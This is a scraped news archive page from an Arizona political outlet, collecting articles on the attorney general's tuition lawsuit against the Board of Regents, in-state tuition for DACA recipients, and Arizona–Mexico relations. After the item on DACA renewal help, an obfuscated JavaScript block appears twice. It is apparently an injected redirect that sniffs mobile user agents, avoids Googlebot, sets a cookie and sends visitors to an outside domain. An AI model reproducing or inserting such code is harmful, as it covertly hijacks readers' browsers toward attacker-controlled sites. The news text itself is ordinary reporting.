DACA | Arizona Capitol Times

ABOR chairman calls tuition lawsuit a publicity stunt

Regents Chairman Bill Ridenour, right, is briefed by Chad Sampson, the board's vice president of strategic planning and initiatives, ahead of Monday's closed-door session of the board to decide how to respond to the lawsuit filed against the board Friday over tuition rates. (Photo by Howard Fischer/Capitol Media Services) — Regents Chairman Bill Ridenour, right, is briefed by Chad Sampson, the board’s vice president of strategic planning and initiatives, ahead of Monday’s closed-door session of the board to decide how to respond to the lawsuit filed against the board Friday over tuition rates. (Photo by Howard Fischer/Capitol Media Services)

The head of the state Board of Regents said Monday that a new lawsuit over tuition could finally force the legislature to explain whether it is violating a constitutional provision to keep instruction at the universities “as nearly free as possible.”

On one hand, Bill Ridenour blasted Attorney General Mark Brnovich for what he said is a publicity stunt Friday — he called it “political pandering” — in suing the board and blaming its members for the steep hike in tuition in the last 15 years.

“The AG’s lawsuit, while it makes for good headlines, does nothing to change the burden for students and their families,” he said in a prepared statement. “The suit is full of attacks, but offers no constructive remedies.”

But Ridenour said Brnovich is right on at least one issue: The “seismic” shift in cost from the state to students to attend one of the state’s three universities.

What’s wrong with the litigation, he said, is that it seeks a solution from just the regents, ignoring the role he said lawmakers have played in the 300-plus percent increase in tuition since 2003. And Ridenour said if the issue is going to be hashed out in court, then the lawsuit needs to involve more than the regents.

“If it goes to that extent, the Legislature is an indispensable party,” he told Capitol Media Services.

“The question is, who’s going to pay for this education?” Ridenour continued. “Is it going to be the student, or is it going to be the state?”

But now, with Brnovich having filed suit which essentially says the regents — and the regents alone — are violating the Arizona Constitution, Ridenour sees an opportunity to finally get a definitive legal ruling on who really is responsible.

“This suit will allow us to present the facts to a court of law and seek clarification of our constitutionally mandated obligation to provide ‘instruction as nearly free as possible,’ ” he said. “We can now address who will pay for that mandate.”

Brnovich spokeswoman Mia Garcia defended the decision to sue only the regents and not the lawmakers.

“We do not believe the court can order the Legislature to appropriate more funding for higher education,” she said. But Garcia said a judge can order the regents to calculate tuition “based on actual costs” and determine if that meets the constitutional requirement.

The challenge to tuition has left the regents unhappy.

Ridenour acknowledged that everyone knew the attorney general was looking into the question of the legality of the universities allowing those in the Deferred Action for Childhood Arrivals program to pay in-state tuition. That followed a ruling earlier this year by the state Court of Appeals declaring a similar policy at the Maricopa community colleges is illegal.

But the lawsuit filed Friday not only challenged the DACA policy but the tuition for all students, with Brnovich claiming the current charges are unconstitutional.

“I think all this makes great headlines,” Ridenour said. “I’m not sure what the motives were behind expanding this suit from DACA.”

Politics aside, some research by Capitol Media Services also could undermine Brnovich’s contention that the hike in tuition has far outstripped the loss of state dollars.

Figures prepared by legislative budget staffers show that in 2008 there were 111,368 full-time equivalent students in the university system. That FTE measurement is designed to deal with the fact that some students are enrolled only on a part-time basis.

Total funding from both state aid and tuition totaled nearly $1.9 billion, or $16,986 per student.

By the just-ended school year, total funding exceeded $3 billion. But with 166,296 FTE students in the system, that worked out to $18,217 per student, a 7.25 percent increase over 2008.

And legislative budget staffers said if inflation is taken into account, the total amount being collected in both state aid and tuition on a per-student basis is actually 7.4 percent less than in 2008.

That means the tuition increases that Brnovich cites in his lawsuit did not keep pace with both the reduction in state funding and inflation.

Garcia said all that is irrelevant to the constitutional issue.

“It’s a simple question,” she said. “We want to know the true cost of tuition.”

Ridenour, however, said any look at tuition cannot ignore the declining role of the state.

A decade ago, he said the Legislature funded about 75 percent of the cost for an in-state student, not counting expenses for the University of Arizona Colleges of Medicine. This year, he said, that state-aid figure is just 34 percent.
Ridenour acknowledged the question of state funding of higher education is not an Arizona-only issue.

“What is unique is that in FY 2012, Arizona ranks 48th in per capita support for higher education,” he said.

The idea of legal action against the Legislature is not new. It was first raised two years ago by Mark Killian when he was chairman of the board who told Capitol Media Services that his colleagues should sue lawmakers if they do not come forward with more funds for the university system. That never happened, with Ridenour saying Monday that board members opted instead to work with Gov. Doug Ducey and lawmakers in hopes of reversing the trend, including a $99 million cut the governor signed into law. The results since then have been mixed.

The new budget approved in May provides an additional $15 million in one-time funding to universities.

But lawmakers also removed a one-time $19 million infusion they got last year.

And even that $15 million has strings attacked, with the University of Arizona having to use $1 million of its $4.2 million allocation to fund a so-called “economic freedom school” which was started with seed money from the Koch brothers, whose financial interests range from Georgia-Pacific paper products and Stainmaster carpets to jet fuel and cattle. And there’s an identical $1 million earmark out of the $7.6 million for Arizona State University.

Lawmakers also agreed to let the universities borrow close to $1 billion for capital needs, with the promise there will be funds in future years to pay that back.

ABOR: Out-of-state students can’t sue over ‘dreamers’ tuition

In this photo taken outside the Arizona State Supreme Court in Phoenix, Monday, April 2, 2018, immigrant students with deferred deportation status hold a banner in support asking the Supreme Court to rule in favor of continuing their access to in-state tuition costs. (AP Photo/Anita Snow)

Out of state students who paid full tuition at Arizona universities have no right to sue for refunds even though the schools were charging less to people not here legally, an attorney for the Arizona Board of Regents contends.

In new legal filings, Emma Cone-Roddy acknowledged that the regents allowed “dreamers” who were living here to pay the same in-state tuition as other Arizona residents. And she did not dispute that federal law says if states do provide tuition benefits to illegal immigrants they must offer those same benefits to every other U.S. citizen or legal resident.

But Cone-Roddy pointed out to Maricopa County Superior Court Judge Teresa Sanders that the Arizona Supreme Court earlier this year determined the regents tuition policy was illegal and has since been rescinded.

More to the point, the attorney said even if the out-of-state residents were overcharged while the policy was in place — a point she is not conceding — it does not matter. She said nothing in federal law gives individuals the right to sue.

What Sanders decides would affect more than the three students from other states who want a refund of the difference between what they paid and what the universities were charging those in the Deferred Action for Childhood Arrivals program.

Lance Entrekin, the attorney for the students, wants Sanders to let him pursue refunds for all out-of-state students who, as he contends, also were overcharged. And with the difference in what each paid running up to an extra $20,000 a year, that could leave the universities on the hook for hundreds of millions of dollars.

At the heart of the lawsuit is the DACA program instituted by the Obama administration that allows those who arrived in this country illegally as children to both remain and work without fear of deportation.

In 2015 the regents agreed to allow those in the DACA program to pay in-state tuition if they met other residency requirements. That followed a trial court ruling upholding a similar policy in the Maricopa community colleges.

That policy remained in place even after the Court of Appeals, ruling in the Maricopa case, found it violates a 2006 voter-approved law denying tuition benefits to those not here legally. The regents rescinded it only earlier this year after the Arizona Supreme Court reached a similar conclusion.

Entrekin’s lawsuit is based on a federal law that also bars states from offering postsecondary education benefits to those in the country illegally. But he noted there is an escape clause: States that do this must offer the same benefit to any other U.S. citizen or legal resident “without regard to whether the citizen or national is such a resident.”

The regents policy did not do that.

Entrekin is suing on behalf of California resident Mikayla Foss and Michigan resident Abigail Garbarino who were attending Arizona State University, and Eleanor Wiersma from Maryland who was going to the University of Arizona.

Based on the federal law, he said they were entitled to pay in-state tuition just like DACA recipients. And Entrekin wants a refund for the higher tuition they paid this school year.

Cone-Reddy said they have no case — literally.

“The federal statutes plaintiffs rely on neither creates a legal right for them or any other out-of-state students, nor provides any private citizens with a cause of action,” she is arguing.

The attorney said the federal law does not deal with non-resident citizens like the three students here but instead address only the universities “and their authority to provide benefits to illegal aliens.” And if there is to be any enforcement of the law, Cone-Reddy said, it is only by federal immigration authorities.

Anyway, the attorney said, the Arizona Supreme Court in its ruling earlier this year made it clear that the universities had no legal right under state law to charge in-state tuition to DACA recipients. And that, she said, means there’s no basis for the students from other states to claim a legal right of refund.

Cone-Reddy also urged Sanders to reject a separate claim that the regents were “unjustly enriched” by charging them the higher tuition.

“The board was not enriched and plaintiffs were not impoverished because plaintiffs received the university education that the board agreed to provide in return for the amount of tuition that plaintiffs agreed to pay,” she wrote.

No date has been set for a hearing.

AG rules against regents, concludes Legislature can set university tuition rates

Attorney General Mark Brnovich issued a legal opinion December 7 saying that, with only narrow exceptions, the Legislature has “unrestricted’’ authority to redefine the powers and duties of the Arizona Board of Regents.

That opens the door to ongoing efforts by Rep. Mark Finchem, R-Oro Valley, to rein in the board.

More to the point, Brnovich said he reads prior Supreme Court rulings to say that the Legislature itself could set tuition, wresting that power away from the regents.

And if lawmakers opted to do that, it would make the regents’ legal arguments defending their tuition-setting policies legally moot.

Arizona Attorney General Mark Brnovich announces a lawsuit against the Arizona Board of Regents on Sept. 8. The suit alleges ABOR is not adhering to a constitutional requirement that tuition for residents attending state universities be “nearly as free as possible.” (Photo by Katie Campbell/Arizona Capitol Times)

Brnovich filed suit in September, saying the regents have “dramatically and unconstitutionally’’ increased the cost of going to school at any of the state’s three universities. He claims that costs have gone up from 315 percent to 370 percent since the 2002 school year, a figure he said computes out to 14.1 percent on an annualized basis, “the third fastest growth rate among all 50 states.’’

He acknowledged that during the same period the Legislature sharply decreased the aid it supplies to higher education. Legislative budget reports have found that since 2008 alone, state aid went from $9,648 per student to $4,098, even before the effects of inflation are considered.

Brnovich has dismissed that as irrelevant, saying it still does not excuse the regents from what he contends is their obligation to keep tuition to what it actually costs to educate students above and beyond state aid.

He said what is happening is that the regents are using other improper – and illegal – factors, including looking at what other state universities charge to the ability of students to get scholarships and loans. The only solution at this point, Brnovich said, is to have the question resolved by the courts.

“I believe that the obligation of the state’s universities are to provide an education that’s nearly as free as possible,’’ Brnovich said. “That is the debate we want to have.’’

He also defended filing the lawsuit in the first place, pointing out his inquiry started after the regents reaffirmed their policy of allowing students in the Deferred Action for Childhood Arrivals program to pay in-state tuition if they met other residency requirements even after the Court of Appeals ruled a similar policy by the Maricopa Community Colleges was illegal.

“The universities and the Board of Regents forced this office to take action when they were blatantly disregarding the law when it came to who was and who was not being given in-state tuition,’’ Brnovich said. “During the course of examining that, we discovered that the tuition at our state universities had skyrocketed much faster than the cuts that were made by the Legislature.

He also lashed out at the regents for trying to short-circuit the lawsuit through its claim that he has no right to sue.

“The taxpayers deserve to have a hearing on the merits so we can discuss the costs, we can look at the formula the university is using and make a legal determination whether that formula is constitutional,’’ Brnovich said.

Board attorney Paul Eckstein, in a written motion to dismiss Brnovich’s lawsuit, is not relying solely on the question of whether the attorney general has a right to sue.

He noted in his briefs that the Supreme Court ruled a decade ago, in a separate lawsuit, that the issue of whether tuition is as nearly free as possible is a political question beyond the reach of the courts. In fact, Eckstein noted, it was the Attorney General’s Office, at the time under Democrat Terry Goddard, which offered that legal argument, defended the regents and won that lawsuit.

Bill Ridenour, chairman of Arizona Board of Regents (Capitol Media Services 2017 file photo by Howard Fischer)

The chairman of the board, Bill Ridenhour, said December 7, Brnovich has no legal right to sue over its tuition policy.

“The AG can’t just file a lawsuit without either the governor’s authority or some statutory authority,’’ Ridenour told Capitol Media Services.

Ridenour, who is an attorney, said there is nothing in state law that permits Brnovich to ask a judge to rule that the tuition charged at the state’s three universities does not comply with a constitutional mandate that instruction be “as nearly free as possible.’’

And as to the governor, Doug Ducey has not sided with Brnovich in this fight. In fact, the governor told Capitol Media Services in September that he was not only opposed to the litigation but also took issue with Brnovich’s basic contention that tuition is too high.

“Our universities are accessible and affordable,’’ Ducey said at the time.

Ridenour is not just making a statement of opinion. Eckstein made the same argument December 7 in new legal filings asking Maricopa County Superior Court Judge Connie Contes to throw out Brnovich’s lawsuit.

The new pleadings drew an angry response from Brnovich.

“I think it’s unfortunate that the universities and the Board of Regents would try to get this lawsuit dismissed on a technicality instead of having an argument on the merits,’’ he said. “I think Arizona taxpayers deserve to know what formula the universities are using (to set tuition) and where their tax dollars are going and what kind of education system those tax dollars are supporting.’’

But Ridenour, for his part, said he suspects there’s something more than Brnovich’s desire for a clear court ruling on permissible tuition.

He said Brnovich filed suit without even bothering to ask the board for an explanation of its policies. And Ridenour said efforts since the lawsuit was filed to explain what the universities are doing proved fruitless.

“I can’t help but thinking, since we tried to answer all their questions, that it’s now politics,’’ he said. And Brnovich is up for re-election next year.

“It’s very hard to make headway against that,’’ Ridenour said.

But it’s very likely that the fight playing out in court – the lawsuit the regents want dismissed – won’t end the fight.

Arizona Chamber seeks to lower tuition for ‘Dreamers’

Arizona Chamber of Commerce President Glenn Hamer outside the Rayburn House Office Building. Hamer and other business officials from the state were in Washington to lobby the Arizona congressinoal delegation on immigration reform. (Cronkite News Service photo by Pei Li)

The head of a major business organization is looking for legal ways to make education more affordable for “dreamers” who attend state universities and community colleges in Arizona.

And while Glenn Hamer hopes for some state or federal legislative action, that goal ultimately could mean asking voters to rethink a law on who gets – and does not get – in-state tuition they approved in 2006.

The president of the Arizona Chamber of Commerce and Industry said Thursday he thinks there may be some wiggle room in enforcing that law which says those not in the country legally have to pay more than the tuition available to other Arizona residents.

Hamer said that law is based on the idea that Arizona taxpayers should not be subsidizing those who have entered the country illegally or overstayed their visas. But he believes there is a way to legislatively determine that there is some rate – less than full out-of-state tuition – that complies with the law.

There is already some precedent for that. The Arizona Board of Regents has a policy saying those in the Deferred Action for Childhood Arrivals program can attend at a tuition of 150 percent of what is charged to residents.

But that rate can still add $6,000 a year on to a student’s bill. And Hamer said he believes that legally can be driven lower.

Ideally, Hamer said, the whole problem would be resolved if Congress were to deal with the issue and formally declare that DACA recipients are in this country legally.

At this point, DACA exists only because of an executive order signed by Barack Obama when he was president.

The Arizona Supreme Court ruled unanimously last year that does not make those in the program eligible for in-state tuition, no matter their residency status. If Congress acts, then the court ruling becomes legally moot.

But Hamer also has a back-up plan of sorts if the tuition for DACA recipients cannot be legally tweaked and Congress fails to act: Take the issue back to Arizona voters.

The idea of restricting access to in-state tuition was approved in 2006 by a margin of more than 70 percent in favor. But Hamer said things are far different now.

“I could certainly make the argument that, way back when, we were not thinking about dreamers,” he said.

In fact, DACA did not even exist at that time. It was only in 2012 when Obama decided that those who came here as children and met other qualifications could not only remain without fear of deportation but also be allowed to work.

“I believe the average age of a dreamer in terms of the entrance into the United States was 6 years old,” he said, meaning they were not making a conscious decision to violate federal immigration law. “They’re going where their parents are taking them.”

Hamer said multiple polls have shown popular support for providing a permanent solution, including possibly a path to citizenship, for the more than 800,000 who have been accepted into the program nationally, including more than 23,000 in Arizona.

And he said that there already is a basis for resolving the issue: a grand compromise that would give President Trump the $5 billion he wants for a border wall in exchange for legalizing not only DACA recipients but also others who are in this country illegally.

But, failing federal resolution, Hamer said it’s in the interest of the state – and the business community he represents – to create the maximum opportunity for DACA recipients in Arizona to have a higher education, and one that is affordable. And that, he said, cold ultimately require revisiting that 2006 law.

That raises problems of its own.

The most immediate is that the 2006 law, having been approved on the ballot, is subject to the Voter Protection Act. That constitutional provision bars lawmakers from repealing or making major changes to anything that voters have approved. Instead, these have to go back to voters.

“The Voter Protection Act is certainly a challenge,” Hamer said.

Then there’s the fact that any alteration or repeal would go on the 2020 ballot at the same time that Trump is up for reelection. That raises the possibility that border security could be a major campaign issue.

That’s why a frustrated Hamer said his organization is hoping to get it resolved in Washington.

“I don’t think it’s too much to ask Congress to do its job once every 30 years,” he said.

But Hamer said the issue is far too important to Arizona to have it live or die based on what Congress does or does not do. If nothing else, he said, it’s good for business.

“We’re now in an economy where there’s more jobs open than human beings to fill them,” Hamer said. “We need workers of all skill levels.

And Hamer figures that if college graduates earn an average of $1 million more over a lifetime versus those with just a high school diploma, that’s money they’re going to be spending.

“That’s good for everyone,” he said.

Hamer also pointed out Arizona has a goal of having 60 percent of its students get some sort of postsecondary certificate or degree by 2030

“Starting with increasing opportunities for the DACA population seems like a pretty good way to make some progress,” Hamer said.

Arizona group again helping immigrants renew DACA status

An Arizona immigrant rights group will resume providing counseling and financial assistance to people who need to renew their status under the federal Deferred Action for Childhood Arrivals program.

A federal judge last week temporarily blocked the Trump administrationai??i??s decision to end the program known as DACA, although an appeal is possible. U.S. Citizenship and Immigration Services announced over the weekend that it has resumed accepting renewal requests.

Promise Arizona says it will help young immigrants file renewals. The cost is $495 and the group will pay for that, too, as long as its funds last.

There are about 28,000 DACA recipients in Arizona.

President Donald Trump announced last year he would end the program unless Congress crafts a deal by March.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Arizona Supreme Court to decide whether ‘Dreamers’ get in-state tuition

The Arizona Supreme Court has agreed to decide whether “dreamers” who the federal government has allowed to remain in the country are eligible to pay the same reduced tuition as other Arizona residents.

In a brief order Tuesday, the justices said they want to hear arguments from both the Maricopa County Community College District which has granted in-state tuition and Attorney General Mark Brnovich who contends they are not. The justices did not set a date for a hearing or give any indication of what they are thinking.

But Tuesday’s order is, for the moment, a victory for the college and students in the Deferred Action for Childhood Arrivals program. It means the justices will review last year’s ruling by the state Court of Appeals that a 2006 voter-approved law makes the lower resident tuition off limits to them.

The Arizona Supreme Court from left are Robert Brutinel, John Lopez, John Pelander, Scott Bales, Andrew Gould, Clint Bolick, Ann Scott Timmer.

What the justices decide will have implications beyond just the Maricopa colleges.

It also will affect the policy of the Board of Regents which continues to allow DACA recipients to attend the state’s three universities while paying in-state tuition if they meet other Arizona residency requirements. Several other community colleges also offer a reduced tuition to dreamers.

Central to the issue is the legal status of DACA recipients.

In 2012 the Obama administration decided that those who arrived illegally as children and meet other conditions can qualify for the program. That status, which can be renewed biennially, means they are in no danger of being deported.

President Trump has announced he intends to rescind the policy if Congress does not act but has yet to do so. In the meantime there are legal challenges to whether he can do that.

At issue here is Proposition 300, the 2006 Arizona law which says that someone who is “not a citizen or legal resident of the United States or who is without lawful immigration status is not entitled to classification as an in-state student.” That law also denies them any type of financial assistance that comes from state funds.

Last year the state Court of Appeals sided with Brnovich, concluding that Congress never gave DACA residents the required legal status to get in-state tuition.

“They are more aptly described as beneficiaries of an executive branch policy designed to forego deportation of those who lacked unlawful intent in entering the country and have, since their arrival, led productive lives,” wrote Judge Kenton Jones. “However, even accepting DACA recipients’ positive societal attributes, Congress has not defined them, or deferred-action recipients generally, as ‘qualified aliens’ who are ‘lawfully present’ and therefore eligible to receive in-state tuition benefits.”

Jones acknowledged that Congress has given individual states the option of offering state or local public benefits to those not here legally, including in-state tuition. But he said that has been precluded in Arizona by Proposition 300, making any action to the contrary by college governing boards illegal.

In seeking Supreme Court review, Mary O’Grady, the attorney for the Maricopa colleges, said the appellate court ruling is wrong because it relies on that language of the 2006 law about who is a “legal resident” or “without lawful immigration status.”

O’Grady said neither phrase is defined anywhere in state or federal law. In fact, she said, the federal Illegal Immigration Reform and Immigrant Responsibility Act, to which the state law refers, doesn’t even use those terms.

What that federal law does say is that people who are “not lawfully present” in this country are not entitled to postsecondary education benefits, something entirely different.

She contends DACA recipients are, in fact, “lawfully present,” citing a list of frequently asked questions about DACA published by U.S. Citizenship and Immigration Services, a branch of the Department Homeland Security. It says that “an individual who has received deferred action is authorized by DHS to be present in the United States.”

Arizona-Mexico work to improve rapport while nations collide

Sonoran Gov. Claudia Pavlovich and Arizona Gov. Doug Ducey (Photo by Katie Campbell/Arizona Capitol Times)

On a December day in 2015, presidential candidate Donald Trump rallied his supporters in Mesa amid cheers for building a giant wall on the southern border and kicking out undocumented immigrants.

The day before, Gov. Doug Ducey held a holiday reception and joint press conference with his Sonoran counterpart, Claudia Pavlovich. The joint event speaks to the strong relationship budding between Arizona and Sonora, and perhaps Mexico at large, as the relationships between the two federal governments fracture.

But it also underscores the difficulty of building relationships as a border state. No matter how much local officials work to find opportunities with Mexico, their actions could be undermined by Trump’s language or actions.

There are obviously big limitations to locals’ abilities. For example, they can’t write or vote on federal laws, so they can’t change a broken immigration system or keep trade agreements intact.

Still, knowing the limitations, Ducey started broadcasting his interest in Mexico before he even took office. In December 2014, he tweeted a photo with Mexican General Consul Roberto Rodriguez Hernández, saying he looked forward to working with the Mexican official.

I look forward to working w/ Mexican General Consul Roberto Rodriguez Hernández to grow #AZ‘s rapport w/ #Mexico pic.twitter.com/R4HjsxfJjc

— Doug Ducey (@dougducey) December 20, 2014

The tweets didn’t stop once he took office. Ducey frequently sends out photos of his meetings with Mexican officials, usually with notes of gratitude or hospitality.

It’s a far cry from the tense relationship between the two states in the aftermath of SB1070, a law passed in 2010 that targeted illegal immigration as anti-immigrant sentiment took hold in Arizona.

Ducey sees Arizona’s position as a border state as a benefit, not a liability, and his perspective is largely informed by economic realities. For instance, if the North American Free Trade Agreement were dismantled, as President Trump has suggested, Arizona could lose 236,000 jobs, the U.S. Chamber of Commerce estimated.

“I come from the business community. I knew who my customer was. The customer can either make you very, very successful or the customer can put you out of business,” Ducey said.

Changing relationship

Ducey isn’t alone in his quest to improve relations between the two border states. He’s joined by dozens of business leaders and lawmakers at all levels, from mayors to U.S. senators. Groups routinely travel to Mexico to discuss economic and social issues, and Mexican dignitaries now frequently make stops in Arizona to glad-hand with elected officials here.

Phoenix Mayor Greg Stanton (Submitted Photo)

